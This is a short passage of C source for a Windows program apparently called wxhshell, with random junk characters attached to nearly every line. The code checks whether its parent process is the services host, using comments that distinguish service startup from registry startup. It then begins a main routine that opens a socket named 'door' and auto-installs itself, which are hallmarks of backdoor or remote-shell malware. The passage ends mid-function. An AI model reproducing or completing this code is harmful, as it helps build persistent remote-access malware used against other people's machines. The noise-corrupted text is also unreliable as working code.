ULONG InheritedFromUniqueProcessId; &ocuZ-5`
} PROCESS_BASIC_INFORMATION; JRi:MWR<r
Pc*lHoVL
PROCNTQSIP NtQueryInformationProcess; mW4Cc1*
9DJ&J{2W
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; r-wCAk}m*?
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; z]r'8Jc
E&
.^|<n
HANDLE hProcess; 6i-G{)=l
PROCESS_BASIC_INFORMATION pbi; >G8I X^*sG
jan}}7Dly
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 41Z@_J|&
if(NULL == hInst ) return 0; lHtywZ@%3
rbnAC*y8'L
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules");
:`NZD
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); iphC\*F
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); [:.wCG5
|,p"<a!+{w
if (!NtQueryInformationProcess) return 0; {=3A@/vM
zwZvKV/g
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ?tY+P`S
if(!hProcess) return 0; u>)h
']TWWwj$
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; cN0
*<
uDie205
CloseHandle(hProcess); [:{
FR2*x
8 7(t<3V&
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); {7ji m
if(hProcess==NULL) return 0; h\UKm|BZ
lwq:0Rj@Q
HMODULE hMod; s[{[pIH
char procName[255]; nf^?X`g
unsigned long cbNeeded; S?d<P
/^AH/,p
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); }ofb]_C,
g}v](Q
CloseHandle(hProcess); l<w7
\a6
o[cOL^Xd1
if(strstr(procName,"services")) return 1; // 以服务启动 5aizWz
T8a' 6otc
return 0; // 注册表启动 f~T7?D0u}N
} V. &F%(L
/Ne#{*z)hO
// 主模块 z
)'9[t
int StartWxhshell(LPSTR lpCmdLine) A|8"}Hm
{ ~jL%l
SOCKET wsl; 3~T ~Bs
BOOL val=TRUE; ekvs3a^
int port=0; B^/MwD>%
struct sockaddr_in door; #zTy7ZS,0
;:D-}t;
if(wscfg.ws_autoins) Install(); `s)4F~aVo
VKl,m ;&